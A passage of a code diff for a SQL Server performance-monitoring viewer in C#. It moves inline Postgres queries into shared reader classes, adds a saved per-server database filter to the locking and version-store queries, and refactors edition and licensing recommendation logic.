-        engine_edition, cpu_count, physical_memory_mb, socket_count, cores_per_socket,
-        is_hadr_enabled, is_clustered, collection_time,
-        sqlserver_start_time, host_os_version, ag_replica_role
-    FROM server_properties
-    ORDER BY server_id, collection_time DESC
-) sp
-JOIN servers s ON s.server_id = sp.server_id
-ORDER BY s.is_enabled DESC, server_name";
-
-    public async Task<List<ServerPropertyRow>> GetServerInventoryAsync(CancellationToken cancellationToken = default)
+    public async Task<List<ServerPropertyRow>> GetServerInventoryAsync(bool includeRemoved = false, CancellationToken cancellationToken = default)
     {
         /* #4766: Server Inventory is one row per server, so each row reads its times on ITS server's clock (the
            collected one, else the viewer machine's offset, the rule every list row uses) and not on the active server
@@ -398,57 +80,14 @@ public async Task<List<ServerPropertyRow>> GetServerInventoryAsync(CancellationT
         var clocks = await GetServerClocksAsync(null, cancellationToken);
         var nowUtc = DateTime.UtcNow;
 
-        await using var command = _dataSource.CreateCommand(ServerInventorySql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        var dtos = await DarlingFinOpsInventoryReader.GetServerInventoryAsync(
+            _dataSource, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, includeRemoved: includeRemoved, cancellationToken: cancellationToken);
 
-        var items = new List<ServerPropertyRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
+        var items = new List<ServerPropertyRow>(dtos.Count);
+        foreach (var dto in dtos)
         {
-            var version = reader.IsDBNull(3) ? "" : reader.GetString(3);
-            var level = reader.IsDBNull(4) ? "" : reader.GetString(4);
-            var updateLevel = reader.IsDBNull(5) ? null : reader.GetString(5);
-            var versionDisplay = !string.IsNullOrEmpty(updateLevel)
-                ? $"{version} - {updateLevel}"
-                : $"{version} - {level}";
-
-            var serverId = reader.GetInt32(0);
-            var clock = ViewerTimeHelper.ClockForServerOrMachine(clocks, serverId, TimeZoneInfo.Local, nowUtc);
-
-            items.Add(new ServerPropertyRow
-            {
-                ServerId = serverId,
-                Clock = clock,
-                ServerName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                Edition = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                ProductVersion = versionDisplay,
-                EngineEdition = reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
-                CpuCount = reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7)),
-                PhysicalMemoryMb = reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
-                HardwareUnavailableReason = HardwareNoteFor(reader.IsDBNull(7), reader.IsDBNull(8)),
-                SocketCount = reader.IsDBNull(9) ? null : Convert.ToInt32(reader.GetValue(9)),
-                CoresPerSocket = reader.IsDBNull(10) ? null : Convert.ToInt32(reader.GetValue(10)),
-                IsHadrEnabled = reader.IsDBNull(11) ? null : reader.GetBoolean(11),
-                IsClustered = reader.IsDBNull(12) ? null : reader.GetBoolean(12),
-                /* #2359: this is the CONFIG SNAPSHOT time, not a freshness heartbeat. Named for what it
-                   is so nobody reads a days-old value as a stale metric again. */
-                InventoryAsOf = reader.IsDBNull(13) ? null : ViewerTimeHelper.ConvertToDisplay(reader.GetDateTime(13), ViewerTimeHelper.CurrentDisplayMode, clock),
-                /* #4766: the UTC instants too (this one and LastCollected below), so the columns' text can name the
-                   offset in the repeated autumn hour. */
-                InventoryAsOfUtc = reader.IsDBNull(13) ? null : reader.GetDateTime(13),
-                /* sqlserver_start_time is the server's LOCAL clock — read verbatim, shown as-is like Lite
-                   (UptimeDisplay = Now - start). host OS + AG role are the collected guarded values. */
-                SqlServerStartTime = reader.IsDBNull(14) ? null : reader.GetDateTime(14),
-                HostOsVersion = reader.IsDBNull(15) ? "" : reader.GetString(15),
-                AgReplicaRole = reader.IsDBNull(16) ? "Standalone" : reader.GetString(16),
-                /* #2359: is_enabled sits at 17, so monthly_cost_usd moved to 18. A registered-but-disabled
-                   server keeps its final collection_time forever, and without this flag that timestamp reads
-                   as a stale metric rather than as the date monitoring stopped. */
-                IsEnabled = reader.IsDBNull(17) || reader.GetBoolean(17),
-                MonthlyCost = reader.IsDBNull(18) ? 0m : Convert.ToDecimal(reader.GetValue(18)),
-                LastCollected = reader.IsDBNull(19) ? null : ViewerTimeHelper.ConvertToDisplay(reader.GetDateTime(19), ViewerTimeHelper.CurrentDisplayMode, clock),
-                LastCollectedUtc = reader.IsDBNull(19) ? null : reader.GetDateTime(19)
-            });
+            var clock = ViewerTimeHelper.ClockForServerOrMachine(clocks, dto.ServerId, TimeZoneInfo.Local, nowUtc);
+            items.Add(ServerPropertyRow.From(dto, clock));
         }
         return items;
     }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Locking.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Locking.cs
index efac9a20e3..e2c4e84df3 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Locking.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Locking.cs
@@ -53,7 +53,9 @@ namespace PerformanceMonitor.Darling.Viewer;
 public sealed partial class ViewerDataService
 {
     /// <summary>Top-N indexes by lock+latch wait across ALL databases, at the SERVER's latest capture (#3878 —
-    /// see the file header for why this is not per-database latest). $1 server_id, $2 topN.</summary>
+    /// see the file header for why this is not per-database latest). $1 server_id, $2 topN, $3 the saved database filter (a text[],
+    /// NULL = every database; #5312, the web's get_object_locking predicate). The ORDER BY ends in the same total-order tie-break
+    /// columns as Lite and the MCP reader (#5372), so the topN cap picks the same rows when the wait sums tie.</summary>
     public const string IndexLockingAllSql = @"
 SELECT
     ios.database_name,
@@ -77,6 +79,7 @@ public sealed partial class ViewerDataService
 FROM v_index_object_stats ios
 WHERE ios.server_id = $1
 AND   ios.collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
+AND   ($3::text[] IS NULL OR ios.database_name = ANY($3))
 AND (
     COALESCE(ios.row_lock_wait_in_ms, 0) > 0
     OR COALESCE(ios.page_lock_wait_in_ms, 0) > 0
@@ -86,12 +89,14 @@ OR COALESCE(ios.index_lock_promotion_count, 0) > 0
 )
 ORDER BY
     COALESCE(ios.row_lock_wait_in_ms, 0) + COALESCE(ios.page_lock_wait_in_ms, 0)
-    + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC
+    + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC,
+    COALESCE(ios.index_lock_promotion_count, 0) DESC,
+    ios.database_name, ios.schema_name, ios.table_name, ios.index_name NULLS LAST
 LIMIT $2";
 
     /// <summary>Top-N indexes by lock+latch wait for ONE database, at the SERVER's latest capture — the same
     /// anchor as <see cref="IndexLockingAllSql"/>, so the filtered arm cannot resurrect a name the grid and the
-    /// selector have dropped (#3878). $1 server_id, $2 database, $3 topN.</summary>
+    /// selector have dropped (#3878). $1 server_id, $2 database, $3 topN, $4 the saved database filter (#5312): the box AND the filter both apply.</summary>
     public const string IndexLockingByDbSql = @"
 SELECT
     ios.database_name,
@@ -116,6 +121,7 @@ FROM v_index_object_stats ios
 WHERE ios.server_id = $1
 AND   ios.collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
 AND   ios.database_name = $2
+AND   ($4::text[] IS NULL OR ios.database_name = ANY($4))
 AND (
     COALESCE(ios.row_lock_wait_in_ms, 0) > 0
     OR COALESCE(ios.page_lock_wait_in_ms, 0) > 0
@@ -125,10 +131,12 @@ OR COALESCE(ios.index_lock_promotion_count, 0) > 0
 )
 ORDER BY
     COALESCE(ios.row_lock_wait_in_ms, 0) + COALESCE(ios.page_lock_wait_in_ms, 0)
-    + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC
+    + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC,
+    COALESCE(ios.index_lock_promotion_count, 0) DESC,
+    ios.database_name, ios.schema_name, ios.table_name, ios.index_name NULLS LAST
 LIMIT $3";
 
-    public async Task<List<IndexLockingRow>> GetIndexLockingAsync(int serverId, int topN = 200, string? databaseName = null, CancellationToken cancellationToken = default)
+    public async Task<List<IndexLockingRow>> GetIndexLockingAsync(int serverId, int topN = 200, string? databaseName = null, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         await using var command = databaseName == null
             ? _dataSource.CreateCommand(IndexLockingAllSql)
@@ -141,6 +149,8 @@ public async Task<List<IndexLockingRow>> GetIndexLockingAsync(int serverId, int
             command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
         }
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
+        /* #5312: the saved per-server filter, bound last in both statements ($3 for the all-databases one, $4 with the box's name). */
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var items = new List<IndexLockingRow>();
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -173,12 +183,13 @@ public async Task<List<IndexLockingRow>> GetIndexLockingAsync(int serverId, int
 
     /// <summary>Distinct databases with any lock/latch contention at the SERVER's latest capture — the DB
     /// selector's source, and the half of #3878 that let a renamed-away database still be PICKED rather than
-    /// merely displayed. Same anchor as the grid it drives. $1 server_id.</summary>
+    /// merely displayed. Same anchor as the grid it drives. $1 server_id, $2 the saved database filter (#5312, a text[], NULL = every database): only databases inside it are listed.</summary>
     public const string IndexLockingDatabasesSql = @"
 SELECT DISTINCT ios.database_name
 FROM v_index_object_stats ios
 WHERE ios.server_id = $1
 AND   ios.collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
+AND   ($2::text[] IS NULL OR ios.database_name = ANY($2))
 AND (
     COALESCE(ios.row_lock_wait_in_ms, 0) > 0
     OR COALESCE(ios.page_lock_wait_in_ms, 0) > 0
@@ -188,19 +199,21 @@ OR COALESCE(ios.index_lock_promotion_count, 0) > 0
 )
 ORDER BY ios.database_name";
 
-    /// <summary>The newest stored <c>is_optimized_locking_on</c> flag per database on the server. $1 server_id.</summary>
+    /// <summary>The newest stored <c>is_optimized_locking_on</c> flag per database on the server. $1 server_id, $2 the saved database filter (#5312, a text[], NULL = every database): only the chosen databases' flags count, as in get_object_locking.</summary>
     public const string OptimizedLockingFlagsSql = @"
 SELECT is_optimized_locking_on
 FROM database_config
 WHERE server_id = $1
-AND   capture_time = (SELECT MAX(capture_time) FROM database_config WHERE server_id = $1)";
+AND   capture_time = (SELECT MAX(capture_time) FROM database_config WHERE server_id = $1)
+AND   ($2::text[] IS NULL OR database_name = ANY($2))";
 
     /// <summary>The shared optimized-locking note when any database's newest flag is true; null otherwise.</summary>
-    public async Task<string?> GetOptimizedLockingNoteAsync(int serverId, CancellationToken cancellationToken = default)
+    public async Task<string?> GetOptimizedLockingNoteAsync(int serverId, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(OptimizedLockingFlagsSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var flags = new List<bool?>();
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -209,11 +222,12 @@ FROM database_config
         return OptimizedLockingNote.For(flags);
     }
 
-    public async Task<List<string>> GetIndexLockingDatabasesAsync(int serverId, CancellationToken cancellationToken = default)
+    public async Task<List<string>> GetIndexLockingDatabasesAsync(int serverId, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(IndexLockingDatabasesSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var items = new List<string>();
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Pvs.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Pvs.cs
index aa07f04f94..420493cab7 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Pvs.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Pvs.cs
@@ -17,7 +17,8 @@ namespace PerformanceMonitor.Darling.Viewer;
 public sealed partial class ViewerDataService
 {
     /// <summary>
-    /// Latest ADR persistent version store snapshot, one row per database (#1951). The Postgres twin of
+    /// Latest ADR persistent version store snapshot, one row per database (#1951). #5312: $2 is the saved database filter (a text[],
+    /// NULL = every database), applied after the newest-collection anchor, which stays the server's. The Postgres twin of
     /// Lite's <c>GetPvsStatsLatestAsync</c> — same columns, same order, same newest-collection pin, so the
     /// two front ends cannot drift.
     /// </summary>
@@ -45,6 +46,7 @@ SELECT MAX(collection_time)
     FROM v_pvs_stats
     WHERE server_id = $1
 )
+AND   ($2::text[] IS NULL OR database_name = ANY($2))
 ORDER BY persistent_version_store_size_mb DESC NULLS LAST, database_name";
 
     /// <summary>
@@ -53,7 +55,8 @@ FROM v_pvs_stats
     /// story matters; a 90-day retention series for every database of a big instance would swamp
     /// the plot and the read). Percent-of-database is computed per POINT from the same row's data
     /// file denominator, the exact ratio the grid shows, so the two surfaces cannot disagree.
-    /// Mirrors Lite's <c>GetPvsTrendAsync</c> — same columns, same top-N pin, same ordering.
+    /// Mirrors Lite's <c>GetPvsTrendAsync</c> — same columns, same top-N pin, same ordering. #5312: $3 is the saved database
+    /// filter (a text[], NULL = every database); the top five are the top five of the CHOSEN databases.
     /// </summary>
     public const string PvsTrendSql = @"
 WITH top_dbs AS (
@@ -65,6 +68,7 @@ SELECT MAX(collection_time)
         FROM v_pvs_stats
         WHERE server_id = $1
     )
+    AND   ($3::text[] IS NULL OR database_name = ANY($3))
     ORDER BY persistent_version_store_size_mb DESC NULLS LAST, database_name
     LIMIT 5
 )
@@ -82,12 +86,13 @@ FROM v_pvs_stats p
 ORDER BY p.database_name, p.collection_time";
 
     public async Task<List<PvsTrendPoint>> GetPvsTrendAsync(
-        int serverId, DateTime sinceUtc, CancellationToken cancellationToken = default)
+        int serverId, DateTime sinceUtc, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(PvsTrendSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var items = new List<PvsTrendPoint>();
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -112,11 +117,12 @@ and drag the legend's max toward it. Twinned with Lite's reader. */
         return items;
     }
 
-    public async Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(int serverId, CancellationToken cancellationToken = default)
+    public async Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(int serverId, IReadOnlyList<string>? databaseNames = null, CancellationToken cancellationToken = default)
     {
         await using var command = _dataSource.CreateCommand(PvsStatsLatestSql);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(DatabaseFilterParameter(databaseNames));
 
         var items = new List<PvsStatsRow>();
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs
index a8734d1ea0..a17d019f03 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Recommendations.cs
@@ -16,6 +16,8 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -47,98 +49,31 @@ namespace PerformanceMonitor.Darling.Viewer;
 public sealed partial class ViewerDataService
 {
     /// <summary>The four system databases (master/model/msdb/tempdb) — Lite's <c>database_id &gt; 4</c> filter by name.</summary>
-    private static readonly HashSet<string> RecommendationsSystemDatabases =
-        new(StringComparer.OrdinalIgnoreCase) { "master", "model", "msdb", "tempdb" };
+    private static readonly IReadOnlySet<string> RecommendationsSystemDatabases = FinOpsRecommendationFigures.SystemDatabases;
 
     /// <summary>
     /// The server's latest collected edition / product version / logical CPU count for the license audit, plus the
     /// collected AG replica role + Always On master switch that drive the AG-aware branches. $1 server_id.
     /// </summary>
-    public const string RecommendationsEditionFactsSql = @"
-SELECT
-    edition,
-    product_version,
-    cpu_count,
-    ag_replica_role,
-    is_hadr_enabled
-FROM server_properties
-WHERE server_id = $1
-ORDER BY collection_time DESC
-LIMIT 1";
+    public const string RecommendationsEditionFactsSql = DarlingFinOpsRecommendationsReader.EditionFactsSql;
 
     /// <summary>7-day P95 of Total Server Memory (MB) + sample count, for the memory right-sizing checks. $1 server_id, $2 cutoff (naive UTC).</summary>
-    public const string RecommendationsMemoryP95Sql = @"
-SELECT
-    PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY total_server_memory_mb) AS p95_mb,
-    COUNT(*) AS sample_count,
-    MIN(collection_time) AS first_sample,
-    MAX(collection_time) AS last_sample,
-    COUNT(total_server_memory_mb) AS window_samples
-FROM v_memory_stats
-WHERE server_id = $1
-AND   collection_time >= $2";
+    public const string RecommendationsMemoryP95Sql = DarlingFinOpsRecommendationsReader.MemoryP95Sql;
 
     /// <summary>7-day P95 of SQL Server CPU utilization, for the VM right-sizing CPU prescription. $1 server_id, $2 cutoff (naive UTC).</summary>
-    public const string RecommendationsCpuP95Sql = @"
-SELECT PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu,
-       MIN(collection_time) AS first_sample, MAX(collection_time) AS last_sample,
-       COUNT(sqlserver_cpu_utilization) AS window_samples
-FROM v_cpu_utilization_stats
-WHERE server_id = $1
-AND   collection_time >= $2";
+    public const string RecommendationsCpuP95Sql = DarlingFinOpsRecommendationsReader.CpuP95Sql;
 
     /// <summary>SQL Agent jobs that ran long at least 3 times in the window (maintenance-window efficiency). $1 server_id, $2 cutoff (naive UTC).</summary>
-    public const string RecommendationsMaintenanceWindowSql = @"
-SELECT
-    job_name,
-    COUNT(*) AS run_count,
-    AVG(current_duration_seconds) AS avg_duration_seconds,
-    MAX(current_duration_seconds) AS max_duration_seconds,
-    AVG(avg_duration_seconds) AS avg_historical,
-    SUM(CASE WHEN is_running_long THEN 1 ELSE 0 END) AS times_ran_long
-FROM v_running_jobs
-WHERE server_id = $1
-AND   collection_time >= $2
-AND   avg_duration_seconds > 0
-GROUP BY job_name
-HAVING SUM(CASE WHEN is_running_long THEN 1 ELSE 0 END) >= 3
-ORDER BY times_ran_long DESC
-LIMIT 10";
+    public const string RecommendationsMaintenanceWindowSql = DarlingFinOpsRecommendationsReader.MaintenanceWindowSql;
 
     /// <summary>Per-database aggregate read/write I/O + stall over the window (storage-tier optimization). $1 server_id, $2 cutoff (naive UTC).</summary>
-    public const string RecommendationsStorageTierSql = @"
-SELECT
-    database_name,
-    SUM(delta_reads) AS total_reads,
-    SUM(delta_stall_read_ms) AS total_stall_read_ms,
-    SUM(delta_writes) AS total_writes,
-    SUM(delta_stall_write_ms) AS total_stall_write_ms,
-    MIN(collection_time) AS first_sample,
-    MAX(collection_time) AS last_sample,
-    COUNT(*) AS window_samples
-FROM v_file_io_stats
-WHERE server_id = $1
-AND   collection_time >= $2
-AND   delta_reads > 0
-GROUP BY database_name
-HAVING SUM(delta_reads) > 1000";
+    public const string RecommendationsStorageTierSql = DarlingFinOpsRecommendationsReader.StorageTierSql;
 
-    /// <summary>Oldest query-stats sample for the server (idle-database advice waits until it is at or before the 7-day cutoff). $1 server_id.</summary>
-    public const string RecommendationsQueryStatsFirstSampleSql = @"
-SELECT MIN(collection_time)
-FROM v_query_stats
-WHERE server_id = $1";
+    /// <summary>The oldest query-stats sample, and how many complete UTC days in [$2, $3) hold one (idle-database advice needs each of the last 7). $1 server_id, $2 the coverage start (D-7 00:00), $3 the coverage end (today 00:00, exclusive).</summary>
+    public const string RecommendationsIdleCoverageSql = DarlingFinOpsOptimizationReader.IdleCoverageSql;
 
     /// <summary>CPU utilization mean + standard deviation + sample count (reserved-capacity stability). $1 server_id, $2 cutoff (naive UTC).</summary>
-    public const string RecommendationsReservedCapacitySql = @"
-SELECT
-    AVG(sqlserver_cpu_utilization) AS avg_cpu,
-    STDDEV(sqlserver_cpu_utilization) AS stddev_cpu,
-    COUNT(*) AS sample_count
-FROM v_cpu_utilization_stats
-WHERE server_id = $1
-AND   collection_time >= $2
-HAVING COUNT(*) >= 24";
+    public const string RecommendationsReservedCapacitySql = DarlingFinOpsRecommendationsReader.ReservedCapacitySql;
 
     /// <summary>
     /// The server's latest collected edition facts for the license audit (null when nothing collected yet), including
@@ -151,26 +86,8 @@ public readonly record struct EditionFacts(
     /// <summary>Reads the server's latest collected edition / product-version-major / CPU count + AG role / HADR flag, or null when no server_properties row exists yet.</summary>
     public async Task<EditionFacts?> GetEditionFactsAsync(int serverId, CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(RecommendationsEditionFactsSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        if (!await reader.ReadAsync(cancellationToken))
-        {
-            return null;
-        }
-
-        var edition = reader.IsDBNull(0) ? "" : reader.GetString(0);
-        var productVersion = reader.IsDBNull(1) ? null : reader.GetString(1);
-        var cpuCount = reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2), CultureInfo.InvariantCulture);
-        /* The collected AG state: ServerPropertiesCollector resolves ag_replica_role live from
-           sys.dm_hadr_availability_replica_states, and is_hadr_enabled is SERVERPROPERTY('IsHadrEnabled').
-           Absent/NULL (non-AG platforms, Azure SQL DB, nothing collected yet) => the Standalone / feature-off
-           fallback — exactly Lite's own behaviour where the AG DMVs are unavailable. */
-        var agReplicaRole = reader.IsDBNull(3) ? "Standalone" : reader.GetString(3);
-        var isHadrEnabled = !reader.IsDBNull(4) && reader.GetBoolean(4);
-        return new EditionFacts(edition, ParseMajorVersion(productVersion), cpuCount, agReplicaRole, isHadrEnabled);
+        var facts = await DarlingFinOpsRecommendationsReader.GetEditionFactsAsync(_dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return facts is { } f ? new EditionFacts(f.Edition, f.MajorVersion, f.CpuCount, f.AgReplicaRole, f.IsHadrEnabled) : null;
     }
 
     /// <summary>
@@ -178,28 +95,14 @@ public readonly record struct EditionFacts(
     /// apply to Azure SQL Database. Same row Lite reads (<c>GetSqlEngineEditionAsync</c>): the newest collected
     /// <c>server_properties</c> row. $1 server_id.
     /// </summary>
-    public const string RecommendationsEngineEditionSql = @"
-SELECT engine_edition
-FROM server_properties
-WHERE server_id = $1
-ORDER BY collection_time DESC
-LIMIT 1";
+    public const string RecommendationsEngineEditionSql = DarlingFinOpsRecommendationsReader.EngineEditionSql;
 
     /// <summary>
     /// The server's latest collected engine edition, or <see cref="CollectorEngineCapability.UnknownEngineEdition"/>
     /// when nothing is collected yet (or the row carries no edition).
     /// </summary>
-    public async Task<int> GetRecommendationEngineEditionAsync(int serverId, CancellationToken cancellationToken = default)
-    {
-        await using var command = _dataSource.CreateCommand(RecommendationsEngineEditionSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        return await reader.ReadAsync(cancellationToken) && !reader.IsDBNull(0)
-            ? Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture)
-            : CollectorEngineCapability.UnknownEngineEdition;
-    }
+    public Task<int> GetRecommendationEngineEditionAsync(int serverId, CancellationToken cancellationToken = default) =>
+        DarlingFinOpsRecommendationsReader.GetEngineEditionAsync(_dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
 
     /// <summary>
     /// Selects the databases running Transparent Data Encryption from a collected database-config snapshot — the
@@ -208,31 +111,16 @@ public async Task<int> GetRecommendationEngineEditionAsync(int serverId, Cancell
     /// excluded, mirroring Lite's probe. Ordered by name for stable output.
     /// </summary>
     public static List<string> SelectTdeDatabaseNames(IEnumerable<DatabaseConfigRow> configRows) =>
-        configRows
-            .Where(r => r.IsEncrypted
-                && string.Equals(r.StateDesc, "ONLINE", StringComparison.OrdinalIgnoreCase)
-                && !RecommendationsSystemDatabases.Contains(r.DatabaseName))
-            .Select(r => r.DatabaseName)
-            .OrderBy(n => n, StringComparer.OrdinalIgnoreCase)
-            .ToList();
+        FinOpsRecommendationFigures.SelectTdeDatabaseNames(
+            configRows.Select(r => new DatabaseEncryptionFact(r.DatabaseName, r.StateDesc, r.IsEncrypted)));
 
     /// <summary>
     /// Matches the collected database names against Lite's dev/test name patterns (<c>%dev% / %test% / %staging% /
     /// %qa%</c>, case-insensitive) excluding the system databases (Lite's <c>database_id &gt; 4</c>). Pure so the
     /// pattern logic is unit-testable without a store.
     /// </summary>
-    public static List<string> MatchDevTestDatabases(IEnumerable<string> databaseNames)
-    {
-        static bool IsDevTest(string name) =>
-            name.Contains("dev", StringComparison.OrdinalIgnoreCase)
-            || name.Contains("test", StringComparison.OrdinalIgnoreCase)
-            || name.Contains("staging", StringComparison.OrdinalIgnoreCase)
-            || name.Contains("qa", StringComparison.OrdinalIgnoreCase);
-
-        return databaseNames
-            .Where(n => !RecommendationsSystemDatabases.Contains(n) && IsDevTest(n))
-            .ToList();
-    }
+    public static List<string> MatchDevTestDatabases(IEnumerable<string> databaseNames) =>
+        FinOpsRecommendationFigures.MatchDevTestDatabases(databaseNames);
 
     /// <summary>
     /// Builds the Edition / license audit recommendations from the collected facts (check 1 + Lite's check 10
@@ -257,122 +145,9 @@ public static List<RecommendationRow> BuildEditionAuditRecommendations(
         string agReplicaRole,
         bool isHadrEnabled)
     {
-        var recommendations = new List<RecommendationRow>();
-
-        if (!edition.Contains("Enterprise", StringComparison.OrdinalIgnoreCase))
-        {
-            return recommendations;
-        }
-
-        var agRole = string.IsNullOrWhiteSpace(agReplicaRole) ? "Standalone" : agReplicaRole.Trim();
-        var isSecondary = string.Equals(agRole, "Secondary", StringComparison.OrdinalIgnoreCase);
-
-        /* Lite computes advancedAgCount = GetAdvancedAgCountAsync() (COUNT of sys.availability_groups WHERE
-           basic_features = 0) and skips the probe on a secondary. Darling's collected stand-in: an Enterprise
-           instance acting as an AG PRIMARY with Always On enabled — a Basic AG is a Standard-Edition-only feature,
-           so an Enterprise-hosted AG is effectively always advanced. Secondary gets its own branch below (Lite
-           forces advancedAgCount = 0 there); Standalone / feature-off => no caveat, no confidence downgrade. */
-        var hasAdvancedAg = !isSecondary
-            && string.Equals(agRole, "Primary", StringComparison.OrdinalIgnoreCase)
-            && isHadrEnabled;
-
-        /* Standard Edition offers only Basic Availability Groups, so caveat any edition-downgrade guidance when this
-           instance hosts an (advanced) AG: a downgrade would force the workload onto Basic AG limitations (#1085).
-           Lite names the advanced-AG count; Darling has only the collected role, so it names the primary replica. */
-        var agDowngradeCaveat = hasAdvancedAg
-            ? " Note: this instance is the primary replica of an Always On Availability Group. Standard Edition " +
-              "supports only Basic Availability Groups, which are limited to two replicas, a single database per " +
-              "group, and provide no readable secondary or backups on the secondary " +
-              "(see https://learn.microsoft.com/en-us/sql/database-engine/availability-groups/windows/basic-availability-groups-always-on-availability-groups#limitations). " +
-              "Factor this into any downgrade decision."
-            : "";
-
-        if (isSecondary)
-        {
-            /* On an Availability Group secondary, a "downgrade to Standard to save money" recommendation is
-               misleading: every replica in an AG must run the same SQL Server edition, so the decision belongs to
-               the AG as a whole and must be evaluated on the primary. Emit an informational note instead and skip
-               the savings estimates (#980). */
-            recommendations.Add(new RecommendationRow
-            {
-                Category = "Licensing",
-                Severity = "Low",
-                Confidence = "High",
-                Finding = "Enterprise Edition — Availability Group secondary replica",
-                Detail = "This instance is currently a secondary replica in an Availability Group. " +
-                         "Every replica in an AG must run the same SQL Server edition, so edition and " +
-                         "licensing decisions apply to the whole group and should be evaluated on the " +
-                         "primary replica. A secondary used only for failover may also be covered by " +
-                         "Software Assurance rather than separately licensed."
-            });
-        }
-        // SQL Server 2019 (major version 15) moved TDE to Standard Edition, so on 2019+ we give
-        // version-appropriate guidance rather than a TDE-specific check.
-        else if (majorVersion >= 15)
-        {
-            recommendations.Add(new RecommendationRow
-            {
-                Category = "Licensing",
-                Severity = "High",
-                Confidence = hasAdvancedAg ? "Low" : "Medium",
-                Finding = "Enterprise Edition may not be required",
-                Detail = "Starting with SQL Server 2019, most previously Enterprise-only features " +
-                         "(including TDE, compression, partitioning, and columnstore) are available " +
-                         "in Standard Edition. Review whether remaining Enterprise-only features " +
